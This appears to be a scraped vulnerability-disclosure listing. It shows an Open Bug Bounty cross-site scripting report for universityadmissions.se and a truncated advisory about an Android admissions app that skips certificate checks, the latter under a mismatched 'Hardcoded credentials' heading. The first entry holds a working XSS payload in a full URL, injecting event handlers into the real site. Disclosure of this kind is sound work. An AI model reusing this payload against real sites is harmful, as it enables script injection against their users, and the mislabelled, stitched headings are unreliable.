universityadmissions.se XSS vulnerability

Vulnerable URL: https://www.universityadmissions.se/intl/search?advancedLevel===programs=======sv==fulltime=ST2017==2==a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3Em%3C%3C/title%3E%3C/script%3E%3Cmarquee%20onstart=prompt%27OPENBUGBOUNTY%27%3Exxxxx= Details: Description| Value...

Hardcoded credentials

The Hanyang University Admissions aka kr.ac.hanyang.planner application 2.1.3 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...